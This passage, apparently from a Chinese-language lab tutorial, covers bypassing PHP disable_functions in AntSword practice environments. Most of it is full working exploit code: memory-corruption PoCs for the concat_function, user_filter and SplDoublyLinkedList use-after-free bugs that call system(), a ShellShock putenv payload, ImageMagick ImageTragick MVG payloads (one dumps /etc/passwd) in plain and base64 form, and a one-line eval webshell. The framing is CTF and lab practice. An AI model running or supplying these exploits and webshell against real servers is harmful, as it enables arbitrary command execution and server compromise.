unc)%20%7B%0A%24unknown_addr%20%3D%20hex2bin(%24unknown_func%5B1%5D)%3B%0A%24prefix%20%3D%20substr(%24unknown_addr%2C%200%2C%204)%3B%0A%24unknown_addr%20%3D%20hexdec(%24unknown_func%5B1%5D)%3B%0A%24start%20%3D%20%24unknown_addr%20%26%200x00000000ffffffff%3B%0Afor(%24i%20%3D%200%3B%24i%20%3C%200x800%3B%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20-%200x20%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24unknown_func%5B2%5D%20%7C%7C%20hexdec(%24name_addr)%20%3C%0A%24unknown_func%5B3%5D)%20%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0Aif(strstr(%24name%2C%20%22system%22))%20%7B%0Areturn%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10%20%2B%200x08)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0A%7D%0A%7D%0Afor(%24i%20%3D%200%3B%24i%20%3C%200x800%3B%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20%2B%200x20%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24unknown_func%5B2%5D%20%7C%7C%20hexdec(%24name_addr)%20%3C%0A%24unknown_func%5B3%5D)%20%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0Aif(strstr(%24name%2C%20%22system%22))%20%7B%0Areturn%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10%20%2B%200x08)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0A%7D%0A%7D%0A%7D%0A%24rp%20%3D%20new%20ReflectionProperty(Test%3A%3Aclass%2C%20'prop')%3B%0A%24test%20%3D%20new%20Test%3B%0A%24test%20-%3E%20prop%20%3D%20new%20HelperHelperHelperHelperHelperHelperHelper%3B%0A%24abc%20%3D%20%24rp%20-%3E%20getType()%20-%3E%20getName()%3B%0A%24helper%20%3D%20new%20HelperHelperHelperHelperHelperHelperHelper()%3B%0Aif%20(strlen(%24abc)%20%3C%201000)%20%7B%0Aexit(%22UAF%20Failed!%22)%3B%0A%7D%0A%24helper%20-%3E%20a%20%3D%20%24helper%3B%0A%24php_heap%20%3D%20leak(0x10)%3B%0A%24helper%20-%3E%20a%20%3D%20function(%24x)%7B%7D%3B%0A%24std_object_handlers%20%3D%20leak(0x0)%3B%0A%24prefix%20%3D%20substr(%24php_heap%2C%200%2C%204)%3B%0A%2F%2Fecho%20%22Helper%20Object%20Address%3A%20%22%20.%20bin2hex(%24php_heap)%20.%20%22%5Cn%22%3B%0A%2F%2Fecho%20%22std_object_handlers%20Address%3A%20%22%20.%20bin2hex(%24std_object_handlers)%20.%20%22%5Cn%22%3B%0A%24closure_object%20%3D%20leak(0x10)%3B%0A%2F%2Fecho%20%22Closure%20Object%3A%20%22%20.%20bin2hex(%24closure_object)%20.%20%22%5Cn%22%3B%0Awrite(0x28%2C%20%22%5Cx06%22)%3B%0Aif(!(%24unknown_func%20%3D%20get_basic_funcs(%24std_object_handlers)))%20%7B%0Adie(%22Couldn't%20determine%20funcs%20address%22)%3B%0A%7D%0A%2F%2Fecho%20%22Find%20func's%20adress%3A%20%22%20.%20%24unknown_func%5B1%5D%20.%20%22%20-%3E%20%22%20.%20%24unknown_func%5B0%5D%20.%20%22%5Cn%22%3B%0Aif(!(%24system_address%20%3D%20getSystem(%24unknown_func)))%20%7B%0Adie(%22Couldn't%20determine%20system%20address%22)%3B%0A%7D%0A%2F%2Fecho%20%22Find%20system's%20handler%3A%20%22%20.%20%24system_address%20.%20%22%5Cn%22%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%20(0x130%20%2F%200x08)%3B%24i%2B%2B)%20%7B%0Awrite(0x308%20%2B%200x08%20*%20(%24i%20%2B%201)%2C%20leak2(%24prefix%20.%20s2b(%24closure_object%2C%200x08%20*%0A%24i)))%3B%0A%7D%0A%24abc%5B0x308%20%2B%200x40%5D%20%3D%20%22%5Cx01%22%3B%0Awrite(0x308%20%2B%200x70%2C%20hex2bin(%24system_address))%3B%0Awrite(0x10%2C%20%24prefix%20.%20hex2bin(dechex(s2n(%24php_heap)%20%2B%200x18%20%2B%200x308%20%2B%200x08)))%3B%0A%2F%2F%20echo%20%22Fake%20Closure%20Object%20Address%3A%20%22%20.%20bin2hex(%24prefix%20.%0A%2F%2F%20hex2bin(str_pad(dechex(s2n(%24php_heap)%20%2B%200x18%20%2B%200x308%20%2B%200x08)%2C%208%2C%20%220%22%2C%0A%2F%2F%20STR_PAD_LEFT)))%20.%20%22%5Cn%22%3B%0A(%24helper%20-%3E%20a)(%22%2Freadflag%22)%3B

在WebShell中提交即可执行命令。

图片

在审计蚁剑disable_functions插件也可以很明显看出就是套用了官方的EXP

PHP concat_function UAF

漏洞简介

此漏洞利用处理字符串连接的函数中的错误进行攻击。如果满足某些条件,诸如$a.$b之类的语句可能会导致内存损坏。

漏洞细节:https://bugs.php.net/bug.php?id=81705

漏洞利用条件

•Linux 操作系统•PHP 版本•7.3 – all versions to date•7.4 – all versions to date•8.0 – all versions to date•8.1 – all versions to date

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9

虽然该靶场是蚁剑用来测试iconv漏洞的,但经过测试此靶场也可成功复现该漏洞。

靶场突破

这里用到了国外大佬mm0r1写的EXP:

<?php
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#ok
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1
new Pwn("tac /flag");            // 可替换成需要执行的命令
class Helper { public $a, $b, $c; }
class Pwn {
    const LOGGING = false;
    const CHUNK_DATA_SIZE = 0x60;
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
    const HT_SIZE = 0x118;
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
    public function __construct($cmd) {
        for($i = 0; $i < 10; $i++) {
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE);
        }
        
        $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
        $fill = self::alloc(self::STRING_SIZE);
        $this->abc = self::alloc(self::STRING_SIZE);
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        self::log("abc @ 0x%x", $abc_addr);
        $this->free($abc_addr);
        $this->helper = new Helper;
        if(strlen($this->abc) < 0x1337) {
            self::log("uaf failed");
            return;
        }
        $this->helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;
        $helper_handlers = $this->rel_read(0);
        self::log("helper handlers @ 0x%x", $helper_handlers);
        $closure_addr = $this->rel_read(0x20);
        self::log("real closure @ 0x%x", $closure_addr);
        $closure_ce = $this->read($closure_addr + 0x10);
        self::log("closure class_entry @ 0x%x", $closure_ce);
        
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        self::log("basic_functions @ 0x%x", $basic_funcs);
        $zif_system = $this->get_system($basic_funcs);
        self::log("zif_system @ 0x%x", $zif_system);
        $fake_closure_off = 0x70;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);
        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        self::log("fake closure @ 0x%x", $fake_closure_addr);
        $this->rel_write(0x20, $fake_closure_addr);
        ($this->helper->b)($cmd);
        $this->rel_write(0x20, $closure_addr);
        unset($this->helper->b);
    }
    private function heap_leak() {
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("\x00", self::HT_STRING_SIZE);
        });
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
        return $buf;
    }
    private function free($addr) {
        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
        
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);
        });
        $arr[1] .= "x";
    }
    private function rel_read($offset) {
        return self::str2ptr($this->abc, $offset);
    }
    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i < $n; $i++) {
            $this->abc[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }
    private function read($addr, $n = 8) {
        $this->rel_write(0x10, $addr - 0x10);
        $value = strlen($this->helper->a);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }
    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }
    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }
    private function log($format, $val = "") {
        if(self::LOGGING) {
            printf("{$format}\n", $val);
        }
    }
    static function alloc($size) {
        return str_shuffle(str_repeat("A", $size));
    }
    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }
}
?>

直接访问即可执行命令。

PHP user_filter

漏洞简介

这是一个十分严重的内存破坏漏洞,而且早在十年前就已经有人在官网上提交过此漏洞的相关细节。如今这个漏洞依然存在。

漏洞细节:https://bugs.php.net/bug.php?id=54350

漏洞利用条件

•Linux 操作系统•PHP 版本•5.* – exploitable with minor changes to the PoC•7.0 – all versions to date•7.1 – all versions to date•7.2 – all versions to date•7.3 – all versions to date•7.4 < 7.4.26•8.0 < 8.0.13

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/7

虽然该靶场是蚁剑用来测试GC UAF漏洞的,但经过测试此靶场也可成功复现该漏洞。

靶场突破

这里用到了国外大佬mm0r1写的EXP:

<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
# 
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1
pwn("tac /flag");            // 可替换成需要执行的命令
function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fwrite($fd, 'x');
}
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;
    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }
    private function go() {
        $this->abc = &$this->filtername;
        $this->make_uaf_obj();
        $this->helper = new Helper;
        $this->helper->b = function($x) {};
        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);
        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);
        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);
        $this->prepare_leaker();
        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);
        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);
        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);
        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);
        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);
        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);
        $this->cleanup();
        ($this->helper->b)(CMD);
    }
    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }
    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);
        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }
    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }
    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }
    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }
    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }
    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }
    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }
    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }
    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>

直接访问即可执行命令。

PHP SplDoublyLinkedList UAF

漏洞简介

PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。

漏洞细节:https://bugs.php.net/bug.php?id=80111

有关该漏洞的详细分析,可以参考下面这篇文章:

https://www.freebuf.com/articles/web/251017.html

漏洞利用条件

•PHP版本•PHP v8.0(Alpha)•PHP v7.4.10及其之前版本

漏洞靶场

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9

虽然该靶场是蚁剑用来测试iconv漏洞的,但经过测试此靶场也可成功复现该漏洞。

靶场突破

EXP出自这篇文章:https://xz.aliyun.com/t/8355#toc-3

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}
function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}
function leak(&$a, $address) {
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}
function getPHPChunk($maps) {
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}
function bomb1(&$a) {
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
        die("[!]Where is here");
    }
}
function bomb2(&$a) {
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}
function getElement(&$a, $address) {
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}
function getClosureChunk(&$a, $address) {
    do {
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}
function getSystem(&$a, $address) {
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
            return leak($a, $addr + 0x08);
        }
    }
}
class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
            cantRead($a);
        }else {
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}
function bypass($elementAddress, &$a) {
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("tac /flag");        // 可替换成需要执行的命令
}
function canRead($maps, &$a) {
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}
function cantRead(&$a) {
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}
$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

直接访问即可执行命令。

利用 ShellShock 漏洞 (CVE-2014-6271)

漏洞简介

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

攻击者只需将恶意代码写入到环境变量中,传到服务端,触发服务器运行bash脚本即可执行恶意代码。

有关ShellShock漏洞(Bash破壳漏洞)的详细原理可以参考以下文章:

https://zhuanlan.zhihu.com/p/35579956

漏洞利用条件

putenv可用•mail or error_log 可用,本例中禁用了 mail 但未禁用 error_log/bin/bash 存在 CVE-2014-6271 漏洞•/bin/sh -> /bin/bash sh 默认的 shell 是 bash

存在shellshock漏洞的操作系统版本

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/2

靶场环境的Bash版本

靶场突破

连接到webshell后,写入EXP:

<?php
putenv("PHP_flag=() { :; }; tac /flag > /var/www/html/flag.txt");    # 设置环境变量,将flag输入到flag.txt中
error_log("a",1);

访问EXP,刷新后得到flag:图片

利用 ImageMagick RCE 漏洞 (CVE-2016-3714)

漏洞简介

ImageMagick是一款使用量很广的图片处理程序,支持 PHP、Ruby、NodeJS 和 Python 等多种语言,使用非常广泛。很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

ImageMagick有一个功能叫做delegate(委托),作用是调用外部的lib来处理文件。而调用外部lib的过程是使用系统的system命令来执行的。首先在delegate.xml文件中,定义了很多占位符,比如%i是输入的文件名,%l是图片exif label信息,而在之后的command中,部分占位符被拼接在其中,被拼接完的command命令行传入了系统的system函数,导致任意命令执行。

关于该漏洞的原理详解推荐参考P神的这篇文章:

https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

漏洞利用条件

•目标主机安装了漏洞版本的ImageMagick(<= 6.9.3-9)•安装了php-imagick扩展,并且在php.ini中启用•php >=5.4

关于这个漏洞影响ImageMagick 6.9.3-9以前是所有版本,包括ubuntu源中安装的ImageMagick。而官方在6.9.3-9版本中对漏洞进行了不完全的修复。所以,我们不能仅通过更新ImageMagick的版本来杜绝这个漏洞。

靶场环境

使用直接使用docker拉取靶场镜像:

docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 18081:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1

进入容器,并为靶场添加disable_functions,在php.ini中添加如下:

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

然后重启apache服务

之后在靶场的web根目录中写入webshell

<?php @eval($_POST['hacker']);?>

本地测试

进入容器图片

在容器中 /poc.png 文件内容如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

构建时已经集成在容器中,可手动修改第 3 行的命令。

执行下面命令验证漏洞:

$ convert /poc.png 1.png

如果看到 ls -al 命令成功执行,则存在漏洞。图片

同时除了.mvg格式的图片外,普通png的图片也能触发这个命令执行。

这是delete%l,也就是exif label的处理:

<delegate decode="miff" encode="show" spawn="True" command="&quot;/usr/bin/display&quot; -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/>

%l拼接到了/usr/bin/display命令中,所以现在就只需要将一个普通的png图片加上恶意的exif信息,然后在满足条件的情况下触发即可。

由于delegate.xml中设置了encode为show或者win,所以需要输出为.show或者.win的情况下才会调用该delegate(换句话说,也就是普通的文件处理不会触发这个命令)

靶场突破

编写一个恶意的png文件:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|cat /etc/passwd > t.txt")'
pop graphic-context

再对其进行base64编码

使用蚁剑连接WebShell,并上传如下EXP:

<?php
function readImageBlob() {
    $base64 = "cHVzaCBncmFwaGljLWNvbnRleHQKdmlld2JveCAwIDAgNjQwIDQ4MApmaWxsICd1cmwoaHR0cHM6
Ly9ldmFsYnVnLmNvbS8ifGNhdCAvZXRjL3Bhc3N3ZCA+IHQudHh0IiknCnBvcCBncmFwaGljLWNv
bnRleHQK";
    $imageBlob = base64_decode($base64);
    $imagick = new Imagick();
    $imagick->readImageBlob($imageBlob);
    header("Content-Type: image/png");
    echo $imageBlob;
}
readImageBlob();
?>

直接访问EXP即可执行命令

图片

利用 GhostScript 沙箱绕过 RCE 漏洞

漏洞简介

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

CVE-2018-16509:8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞:

CVE-2018-19475:2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

